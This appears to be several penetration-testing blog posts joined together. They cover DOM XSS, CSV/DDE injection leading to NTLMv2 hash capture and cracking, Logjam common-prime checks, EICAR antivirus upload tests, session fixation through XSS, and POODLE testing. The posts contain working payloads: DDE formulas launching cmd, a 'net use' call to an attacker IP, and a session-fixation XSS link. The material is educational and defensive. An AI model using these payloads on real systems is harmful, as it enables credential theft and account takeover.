These days a typical web app pulls in data from background XHR requests, the responses come back in a data format like JSON, and the data is parsed client-side and inserted into the DOM of the page. This means, of course, that the encoding of the data in the response is not sufficient by itself to know whether there’s a potential XSS risk – it depends how the data is finally encoded when inserted into the page. But consider the following:

1. You enter <script>alert(1)</script> hoping for a quick and dirty win – nothing
2. You suspect input validation so you enter something that you hope will pass validation but test encoding, e.g. xss < > test
3. You inspect the page using the browser dev tools and see it has been inserted as xss < > test
4. So the encoding looks good, and you move on -

But wait! Even dangerous DOM manipulation can perform encoding in a text context. For example, innerHTML will observe the rules and, in a text context, will encode < as < and > as > (and & as & in fact), otherwise those characters are inserted/parsed literally. So the encoding seen in step 3 could be explained by this, meaning that the potential for XSS still exists. It’s precisely because jQuery uses innerHTML as part of functions like append() that the documentation is full of caveats about not using data from “untrusted sources”.

Let’s assume the developers haven’t thought about XSS at all. So why did step 1 fail? This is because the spec says “script elements inserted using innerHTML do not execute when they are inserted”. If the first test case had been <img src=x onerror=alert(1)> the XSS would have been revealed in step 1.

Hope that’s of some use!

[EDIT - for more of the CSV and CMD and less of the qwerty, take a look at this presentation I did later in the year.]

From CSV to CMD

DDE is an old Microsoft technology used to facilitate data transfer between applications, a form of Inter-Process Communication (IPC). The security risks in the context of web applications were, to my knowledge, first published here by James Kettle (I would have sworn this technique was around before 2014 – how time flies).

A brief reminder then: imagine an export function in a web app, where some of the data in the cells comes from user input (so like persistent XSS it is stored and later reflected) e.g. consider an application that stores the following parameter value:

=cmd|'/k ipconfig'!A0

On requesting an export, a CSV file is returned that includes this value in a field. When this file is opened, Excel knows that this DDE reference could be dangerous and issues a couple of warnings:In this case, an eagle-eyed user might raise an eyebrow at CMD.EXE but, as the original article notes, if the user requested the Excel file and it came from a source they trust, why wouldn’t it be secure? And we know that users click through warnings anyway.

When cmd /k ipconfig runs, the /k persists the command window for a screenshot to use in the report In fact, without that persistence, the command seems to run in a minimised window and then of course exits, which is rather nice for our attacker. I should say that export to CSV seems to be cleaner from the attacker’s perspective than export to XLS or XLSX, which often requires extra action by the user to activate the payload such as clicking into the malicious cell, which isn’t desirable. All of this behaviour is subject to the version of Excel running and its configuration.

From CMD to qwerty

The war story concerned an internal application that was vulnerable to the DDE trick, and so I started playing around with payloads that would be more exciting than ipconfig or calc. Here’s a simple one:

cmd /c net use \\<attacker_IP>\c$

In this case the “attacker_IP” belonged to a locked-down workstation (no pentest laptops allowed) – but it did, curiously enough, have Wireshark installed. So here was the “net use” connection from the “victim” (which was in fact a machine I was using and thus I knew the username and password):Bear in mind this was an internal test: if the victim was using a vulnerable internet-facing website, their ISP would likely [cough] block the outgoing SMB connection.

I was dealing with NTLMv2 here: a quick reminder showed that I needed to pull out the following for John:

username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

What’s in green is known at this point (“NETNTLMv2″ is a constant). I could immediately fill in the domain and username fields as they’re given away in cleartext by the NTLMv2 exchange, helpfully pulled out in the (obfuscated) Packet List above (and anonymised below):

smithjer:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

So what about the other bits? They all relate to the NTLM authentication, which is a challenge-handshake protocol:

1. Client > Server (Type 1, negotiation)
Features supported by the client and requested of the server
2. Server > Client (Type 2, challenge)
Features supported and agreed upon by the server + a challenge
3. Client > Server (Type 3, authentication)
More information about the client + response(s)

The essential difference between NTLM and NTLMv2 is how the response is calculated. NTLM uses MD4 and DES in a weak way which is well known (5 NULL bytes yada yada yada); NTLMv2 uses HMAC-MD5 based on more than just the password and challenge, which is where the “blob” comes in. So that’s covered off the “challenge”, “HMAC-MD5″ and “blob” that’s missing from the John hash I’m having to build up from scratch. (Remember, I had no tools, otherwise Responder would have made this easy.) Here’s the challenge:And here’s the HMAC-MD5 and blob (which is everything after the HMAC in the “NTLM Response tree”):To get the blob, you can copy the NTLM Response bytes from within Wireshark and remove the first 16 bytes (which is the HMAC). The blob is likely to start 0×01010000…So we now have:

smithjer:$NETNTLMv2$domain$36edff8376e59e18$4f68b56e9ce788d010f58b4f049b5c7f$0101000000000000295779de01bbd001b6f955bf062e...

That’s the hard part done, right? Wrong.

Let’s get cracking

Here was John’s response (bear in mind I knew the password), and, after duly modifying the hash format, hashcat wasn’t happy either:Note the “skipping line” error. Turns out hashcat has a bug, which (I later found out) oclhashcat doesn’t suffer from. I experimented with it and reported it – hashcat has problems when the blob length is over 224 bytes. For some reason, it’s not been assigned a “bug” label but a “new feature” label. Anyway, back to John: remember the format on the cheatsheet was:

username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

Turns out the hashcat format worked a treat, i.e.

username::domain:challenge:HMAC-MD5:blob

To be fair to pentestmonkey, “this sheet was originally based on john-1.7.8-jumbo-5. Changes in supported hashes or hash formats since then may not be reflected on this page”, and I was using a later version. Anyway, all’s well that ends well:

catflap

In order to look into the bug I found, I wrote a script (which I called catflap) that serves two purposes:

1. It extracts what hashcat needs from the NTLMv2 exchange in a Wireshark capture file.
2. It allows you to produce a more realistic test case to check your NTLMv2 cracker is working properly. For this catflap will accept a normal hash format from a file as well as a capture file. catflap will recalculate the NTLMv2 response based on a password you supply. This means all the other variables (username, domain, challenge and, crucially, the blob) in the resulting test hash are exactly the same as the ones in your captured exchange, but in this test case you know the password. In this way you can ensure your cracking tool is working correctly, and acts as a better test than the standard hash examples out there, useful though they are. Of course, you could also play about with other inputs, which is what I did with the blob find the bug.

Usage is simply:

catflap <capture_file | hashcat_file> [password]

The following shows catflap changing the HMAC response to set the password to “password”:You can then run that edited hash through your cracker of choice to ensure it spits out “password”. If not, something’s gone wrong. You can find catflap on github.

Input validation and sanitisation

Whenever I find an Excel export function in a web app, most of the time the DDE trick works because the characters used to launch the payload aren’t the usual suspects. It’s not a well-known attack vector, even among pentesters (or at least it’s been forgotten) so it’s worth remembering to check for this.

What about remediation? The original article on this stated that “the best defence strategy we are aware of is prefixing cells that start with ‘=’ with an apostrophe”. Last month this topic came up in a company-wide discussion at work, and my colleague Cara Marie noted that ‘+’ and ‘-’ could be used to launch a command too. Turns out (thanks to Michael Roberts, another NCC bod) that this had been lurking around for while, for example here). Michael added that you can also use ‘@’ in the format:

@SUM(cmd|'/c calc'!A0)

as well as surrounding the payload with quotes such as:

"=cmd|'/c calc'!A0".

Over this last month the original article has been updated twice to reflect the same findings (except for the use of quotes). So, as far as I know, two independent groups came up with new bypasses for the original recommendation. The point here, then, is that the blacklist approach by itself often fails (which shouldn’t be news to anyone who’s done a re-test). We need to perform validation based on a whitelist of characters and syntax wherever possible. For example, if a field is a phone number, there should be no need for characters such as ‘=’ and ‘@’. Starting off with ‘+’ is reasonable (prefixing an international dialling code) but after that we shouldn’t see any non-numeric characters. We can also restrict the length of that field too. With these restrictions in place, we don’t even need to implement (and maintain) a blacklist.

Red teaming

The story of this article was set around a web application that allowed export but the DDE trick is valuable to red teams trying to get malicious attachments through email. The reason for this is that a DDE payload isn’t a macro and files that use it are often able to fly through perimeter content checks that would stop files with macros.

Two for the price of one

For me, the penny dropped when I realised that the Logjam paper sets out two strategies. The first is a cryptanalytic attack that uses pre-computation to speed up the process of cracking a Diffie-Hellman (DH) key exchange. The second is a protocol attack that allows weaker export-grade versions of DH-based cipher suites to be selected, so long as they are supported by the server. A man-in-the-middle attacker who can make use of the second technique can downgrade vulnerable connections, which helps the first attack by forcing the use of weaker cryptography. But an attacker doesn’t have to rely on the downgrade trick for an attack on the security of the connection to succeed. It all depends on what the attacker wants to achieve and what position they are in.

Attack scenarios

If the attacker wants to modify the data in transit then the attack must be performed in real time. The attacker must be a man-in-the-middle and have access to sufficient computing resources to perform the necessary cryptanalysis in a short space of time. To ease the cryptanalysis, if the attacker can downgrade the connection to using a 512-bit prime, then so much the better. That’s only possible if the server supports export-grade DH cipher suites. In the opinion of the Logjam authors, any 512-bit prime should be considered vulnerable but a 768-bit, and certainly a 1024-bit, DH prime would require a serious amount of effort to attack.

In contrast, decrypting (but not modifying) the secure traffic from a connection that begins with a DH key exchange can be done passively in slower time: the attacker can capture the traffic and run the cryptanalysis offline. In this case, the attacker must contend with whatever strength of DH prime was selected during the TLS negotiation, which is unlikely to be 512-bit. For passive attacks, cipher suite preference is therefore more important: if the server prefers a common cipher suite that isn’t based on the standard DH key exchange (e.g. AES256-SHA) then a passive attack is very unlikely to succeed.

Client-side fixes

As with a number of previous TLS bugs, browsers have applied plasters to the sores to try to mitigate the impact. Although the downgrade attack exploited a weakness in the TLS protocol rather than an implementation flaw, refusing to accept 512-bit DH primes is a quick and effective solution. But taking that strategy all the way up to 1024-bit primes is dangerous in terms of user experience – users could start complaining that sites are suddenly inaccessible. So the success of client-side “patching” will depend on the vendors, the minimum size of DH prime their browser accepts and the user’s update regime.

Common primes

Another factor to consider is the prime itself. The Logjam paper noted that servers tend to re-use it – and, not only that, but the same primes are in circulation across different implementations. The pre-computation work for the cryptanalysis is based on a single DH prime so it’s in the attacker’s interest to do the number crunching for primes that are most widely used. A server that uses a common prime is thus more of a target. But what are these common primes? The Logjam paper itself makes explicit reference to two 512-bit primes. A number of larger primes can be found by inspecting the JavaScript behind the server test page on the Logjam site. You can test for a dozen common primes by adding a bit of code to the file apps/s_cb.c before compiling OpenSSL. Since version 1.0.2 the default output includes a line, when appropriate, beginning “Server Temp Key”, e.g.

Insert the following lines after the line that outputs the bit length, which is BIO_printf(out, "DH, %d bits\n", EVP_PKEY_bits(key)); (line 519 for the current version 1.0.2d):

if (EVP_PKEY_bits(key) > 1024)
   break;
const char *common[12]; // common primes from https://weakdh.org/imperfect-forward-secrecy.pdf, https://weakdh.org/docheck.js
common[0] = "9FDB8B8A004544F0045F1737D0BA2E0B274CDF1A9F588218FB435316A16E374171FD19D8D8F37C39BF863FD60E3E300680A3030C6E4C3757D08F70E6AA871033";
common[1] = "D4BCD52406F69B35994B88DE5DB89682C8157F62D8F33633EE5772F11F05AB22D6B5145B9F241E5ACC31FF090A4BC71148976F76795094E71E7903529F5A824B";
common[2] = "E9E642599D355F37C97FFD3567120B8E25C9CD43E927B3A9670FBEC5D890141922D2C3B3AD2480093799869D1E846AAB49FAB0AD26D2CE6A22219D470BCE7D777D4A21FBE9C270B57F607002F3CEF8393694CF45EE3688C11A8C56AB127A3DAF";
common[3] = "D67DE440CBBBDC1936D693D34AFD0AD50C84D239A45F520BB88174CB98BCE951849F912E639C72FB13B4B4D7177E16D55AC179BA420B2A29FE324A467A635E81FF5901377BEDDCFD33168A461AAD3B72DAE8860078045B07A7DBCA7874087D1510EA9FCC9DDD330507DD62DB88AEAA747DE0F4D6E2BD68B0E7393E0F24218EB3";
common[4] = "BBBC2DCAD84674907C43FCF580E9CFDBD958A3F568B42D4B08EED4EB0FB3504C6C030276E710800C5CCBBAA8922614C5BEECA565A5FDF1D287A2BC049BE6778060E91A92A757E3048F68B076F7D36CC8F29BA5DF81DC2CA725ECE66270CC9A5035D8CECEEF9EA0274A63AB1E58FAFD4988D0F65D146757DA071DF045CFE16B9B";
common[5] = "E6969D3D495BE32C7CF180C3BDD4798E91B7818251BB055E2A2064904A79A770FA15A259CBD523A6A6EF09C43048D5A22F971F3C20129B48000E6EDD061CBC053E371D794E5327DF611EBBBE1BAC9B5C6044CF023D76E05EEA9BAD991B13A63C974E9EF1839EB5DB125136F7262E56A8871538DFD823C6505085E21F0DD5C86B";
common[6] = "C9BBF5F774A8297B0F97CDDA3A3468C7117B6BF799A13D9F1F5DAC487B2241FE95EFB13C2855DFD2F898B3F99188E24EDF326DD68C76CC85537283512D46F1953129C693364D8C71202EABB3EBC85C1DF53907FBD0B7EB490AD0BC99289686800C46AB04BF7CDD9AD425E6FB25592EB6258A0655D75E93B2671746AE349E721B";
common[7] = "CD5C22FAEA0C53C39E602242C088FA0EA31586F472E9B04606AEDFB35F56C4948095F687B388575FA1700DB3D02253025A523AC76E9646F755A12338653AE071CB64F185591C34C6673FAC9B78DC4D71E53F3A5CCA6326F89C5400FBF8272A76367C630E234A905E4E558CDA968A46A136AD3088DD295F934EC36ADB5F69C3F3";
common[8] = "92402435C3A12E44D3730D8E78CADFA78E2F5B51A956BFF4DB8E56523E9695E63E32506CFEB912F2A77D22E71BB54C8680893B82AD1BCF337F7F7796D3FB968181D9BA1F7034ABFB1F97B3104CF3203F663E81990B7E090F6C4C5EE1A0E57EC174D3E84AD9E72E6AC7DA6AEA12DF297C131854FBF21AC4E879C23BBC60B4F753";
common[9] = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF";
common[10] = "D6C094AD57F5374F68D58C7B096872D945CEE1F82664E0594421E1D5E3C8E98BC3F0A6AF8F92F19E3FEF9337B99B9C93A055D55A96E425734005A68ED47040FDF00A55936EBA4B93F64CBA1A004E4513611C9B217438A703A2060C2038D0CFAAFFBBA48FB9DAC4B2450DC58CB0320A0317E2A31B44A02787C657FB0C0CBEC11D";
common[11] = "B10B8F96A080E01DDE92DE5EAE5D54EC52C99FBCFB06A3C69A6A9DCA52D23B616073E28675A23D189838EF1E2EE652C013ECB4AEA906112324975C3CD49B83BFACCBDD7D90C4BD7098488E9C219A73724EFFD6FAE5644738FAA31A4FF55BCCC0A151AF5F0DC8B4BD45BF37DF365C1A65E68CFDA76D4DA708DF1FB2BC2E4A4371";

char *prime;
prime = BN_bn2hex(key->pkey.dh->p);
BIO_printf(out, "---> DH prime: %s\n", prime);
int i;
for (i = 0; i < 12; i++) {    if (!strcmp(prime, common[i])) {        BIO_puts(out, "---> Warning - common prime!\n");
       break;
   }
}

So you should have something like:

Now you’ll get output such as:

Remember that you may need to employ the -cipher DH parameter to force OpenSSL to use a DH-based cipher suite. If export-grade as well as stronger DH suites are supported then you’ll also have to use something like -cipher EXP on a second connection to ensure you test the commonality of both primes.

Methodology

It’s really quite simple – upload a file, download it and compare the hashes. If you upload successfully but don’t download then that’s not sufficient proof – perhaps the file has been silently quarantined. Showing that the hashes of the uploaded and downloaded files are the same proves that the file has not been cleaned up. (If no download feature is available, you can only speculate on the lack of an error message on upload.)

It’s obviously unfair to report a system lacking AV if the file you upload gets only 1 out of 57 hits on VirusTotal, for example. So running the file through VirusTotal and including a screenshot in the report shows the client that the file should have been detected. The output of VirusTotal includes a SHA-256 hash so that nicely ties in with hashing the uploaded and downloaded files, mentioned above.

Which file?

Of course, you don’t want to be uploading real malware. This is where the EICAR test comes in – a widely adopted benign signature that triggers an alert so that you can be sure your anti-virus product is running correctly. So, during a web application assessment, you put together a test file thus:

You upload and download it with no problem – so the files aren’t being checked for malware, right? Wrong. Take a look at the VirusTotal result for this file:

It would be unfair to report a lack of anti-virus scanning using this file as a test case – and not, as we’ll soon see, because most of the AVs have missed it.

Okay, what about this Word document?

Hopefully that was a no-brainer. This file got no hits on VirusTotal because the document text isn’t stored exactly as it’s seen and thus the EICAR signature was not in the raw file at all.

The EICAR test

If you haven’t already guessed, the EICAR test specification is stricter than the appearance of that well-known string. According to the EICAR site “any anti-virus product that supports the EICAR test file should detect it in any file providing that the file starts with the following 68 characters…X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*“. Don’t be fooled by the printable ASCII, though – the file is in fact executable, shown below on a Windows XP SP3 machine:

Let’s take that Word doc and, using a hex editor, stick the EICAR signature at the front:

Now VirusTotal reports 26 out of 56 (46%). In contrast when we put the signature elsewhere in the file (middle or end) we get 1 out of 57 hits.

Technically the anti-virus products that haven’t reported the file are quite right not to do so because there’s another condition that the file “is exactly 68 bytes long”. The spec goes on to say, though, that “it may be optionally appended by any combination of whitespace characters with the total file length not exceeding 128 characters. The only whitespace characters allowed are the space character, tab, LF, CR, CTRL-Z”.

So let’s truncate the Word doc to 112 bytes – and this time VirusTotal reports 34 out of 56 hits (61%), compared to the original 26 (46%). As you can imagine, as we edit the file to get closer and closer to the original EICAR file, the hit rate goes up and up.

In summary

When testing file uploads for the presence of anti-virus scanning, the test file should be picked up by a significant number of AVs otherwise it’s not a fair test. To this end, it’s safest to use the EICAR file – but if you mess with the original too much (even if the signature is still intact), you might inadvertently create a file that isn’t an EICAR test at all. The specification for the EICAR test file is actually quite strict, although AVs tend to be overzealous in reporting it.

The best approach is simply to rename the EICAR test file to a file format the application allows you to upload, e.g. change eicar.com to eicar.pdf. One potential niggle is that the file is no longer in a valid format for the file type it’s purporting to be, e.g. PDFs don’t start with X50!P%@AP so if there’s any file content analysis being done, then the file may be rejected. Depending on the error, this could be taken as evidence that AV is running when in fact it’s not, so other tests are required to confirm this. If text files are allowed, always use the original EICAR test file as a .txt.

Finally, remember that the aim of this check is not to qualitatively assess the anti-virus, you’re really only aiming to prove whether or not AV is running. Once you have proof that it is, stop. It’s really all you can expect to check – and all that should be expected from you within the bounds of a standard application pentest.

The problem

The application used a bespoke session management cookie. I’ll call it MYSESSIONID. On login, it wasn’t renewed. I couldn’t push a session cookie onto the victim in a classic session fixation attack. However, I had XSS in an unauthenticated page – but not the login page. The filtering in place used a combination of removal and encoding. Characters that were stripped out included:

+ ; ( ) ? < >

Characters that were allowed included:

" ' = [ ] / , .

So even though MYSESSIONID wasn’t protected with the HttpOnly flag, I just couldn’t construct a payload to steal it. Instead I looked to set one of my own. Here’s a breakdown of the attack:

1. Get a valid cookie

The application did not accept arbitrary session management cookies so the attacker sends a request to get a valid one. In this case, simply having no MYSESSIONID wasn’t enough, the cookie had to be present but an invalid value did the trick:

Cookie: MYSESSIONID=aaaaaaaaaaaaaaaaaaa:xx01

returned

Set-Cookie: MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01; Path=/; Domain=.example.com

2. The XSS

The malicious link looked something like this (the highlighted bits are explained below):

https://www.example.com/app/folder/page?vuln=foo"%0adocument.cookie%3d"MYSESSIONID%3dNDnQrZ6JsMHyJTBCw8n:xx01:%0dpath%3d/app/

When clicked, the XSS flaw wrote the following to the return page inside a JavaScript code block:

var a = "foo"
document.cookie="MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
path=/app/";

The %0a at the front of the XSS payload was used to start a new line and this was sufficient to act as a statement terminator after var a = "foo" (semi-colons were being stripped). But in order to inject a path attribute (discussed below) I did need a semi-colon in the cookie string. By running every character through a Burp Intruder attack, I saw which characters were allowed, which were stripped and which were returned encoded. By inserting :%0d into the XSS payload :
 was returned – yes, %0d was encoded but %0a (used above) came back fine! Being inside a string inside a JavaScript block 
 wasn’t seen as an HTML entity by the browser and thus wasn’t interpreted. This provided the semi-colon needed to create a path attribute.

The colon at the front was used because it looked like the session cookie was delimited in that way. That “xx01″ might refer, for example, to an internal server for load-balancing. Anyway, whatever it did, the application tolerated the unusual suffix to the session cookie. So that explains the :%0d appended to the cookie value in the XSS payload. Now for the path%3d/app/…

3. The victim logins in

So, at this point, the attacker has set the MYSESSIONID cookie on the victim to be NDnQrZ6JsMHyJTBCw8n:xx01:&#13 via a reflected XSS attack. Now the victim goes to the login page at https://www.example.com/app/login or is bounced there by navigating to a part of the site that enforces authentication. At login two MYSESSIONID cookies are passed up. This is because one had been set earlier in a Set-Cookie response header the first time the victim hit the site, even if that was by visiting the XSS’ed page. The genuine MYSESSIONID has a path of / and a domain of .example.com. If I had set a cookie by XSS with no attributes my cookie would have had a path of /app/folder/ (to match the path of the page which set the cookie) and a domain of www.example.com (to match the domain of said page). This would mean my cookie would never be sent up to /app/login for authentication, hence the need to set a path as part of the XSS.

Furthermore, when two MYSESSIONID values were sent up, the application took the first value so I had to make sure my cookie was first. By setting a path of /app/, it trumped the real MYSESSIONID for having a better path match to /app/login. Thus it was listed first in the POST request with the credentials and became authenticated:

Cookie: MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
 MYSESSIONID=4GRc4jiKNeQIfsqh2:xx01

In contrast, the domain of a cookie does not govern precedence in a standardised way, it varies between browser. From memory I think my cookie (with a more specific domain match) was sent up first by IE but second by Chrome and Firefox. It’s not something you want to rely on. Neither could I overwrite the cookie because for that to happen the name, path and domain must match. That would mean having to change both attributes from their defaults but in this case I could only change one. This is because I’d need a second semi-colon to set a second attribute and in doing so, using the encoding trick above, the first attribute would be spoilt, e.g. I’d get

var a = "foo"
document.cookie="MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
path=/app/
domain=.example.com";

Developing this proof-of-concept for this specific injection point was quite fiddly and took some persistence but it was worth it. For all of their filtering – and because they did not change the session cookie after authentication – this was a nice practical attack using an unauthenticated XSS. One take-away thought then: be sure to probe the XSS defences in full because you never know what might come back and how it could be of help!

SSLv3 support with block ciphers (in CBC mode) supported

All SSL/TLS tools check for SSLv3 support. You can do this manually with:

openssl s_client -ssl3 –connect <host>:443

This confirms SSLv3 support but obviously it only reports 1 cipher suite. This is where the tools come in. However, remember that POODLE only affects block ciphers in cipher block chaining (CBC) mode (which I’ll just abbreviate to “block ciphers” now, as I believe all the block ciphers that can run under SSLv3 operate in CBC mode). So review the list of supported cipher suites: if the server only supports RC4 ciphers then don’t report POODLE as an issue (instead report SSLv3, which is still old and creaky, and RC4!).

Server preference

Even if the server supports block ciphers, it may prefer RC4-based ciphers so the likelihood of exploitation is going to be negligible. I recently wrote up what to do if you find that your tools disagree over which cipher suite is preferered.

TLS_FALLBACK_SCSV

I also recently posted in detail about how the TLS_FALLBACK_SCSV remediation worked. In short it’s a signal to the server from the client that it is connecting with a lower protocol version than it supports. If the server supports something better, then that should have been negotiated during the earlier connection attempts, so the server can abort the connection as being suspicious.

With the release of OpenSSL v1.0.1j it’s easy to test for TLS_FALLBACK_SCSV support:

openssl s_client -ssl3 -fallback_scsv -connect <host>:443

This is telling the server than I’d like to connect using SSLv3 – but grudgingly. I’m using -ssl3 in the context of POODLE but TLS_FALLBACK_SCSV offers wider protection than this (checking support for it will continue to be worthwhile long after we’ve forgotten about POODLE.) Below you can see the fake cipher suite value advertising the fallback (which Wireshark couldn’t decode into something meaningful as it didn’t recognise the new cipher suite value 0×5600 at the time):

If the OpenSSL connection succeeds as usual (as shown below – a cipher suite has been chosen) then the server doesn’t support TLS_FALLBACK_SCSV.

If the connection fails with the new inappropriate_fallback alert then the server does support TLS_FALLBACK_SCSV:

Enabling TLS_FALLBACK_SCSV is all very well but it does depend on client support too – so if the server has SSLv3 enabled with block ciphers supported (and preferred) then it’s not out of the woods. A few browsers do already support it – Chrome 33 (Feb 2014), Firefox 35 (Jan 2015), Opera 25 (Oct 2014) – so it’s better than nothing, and of course support for it among browsers will only improve. Acknowledging TLS_FALLBACK_SCSV support is therefore worthwhile – both today and in the future. A client may even feel aggrieved if they’ve gone to the trouble of enabling TLS_FALLBACK_SCSV but get no credit for it in their pentest report!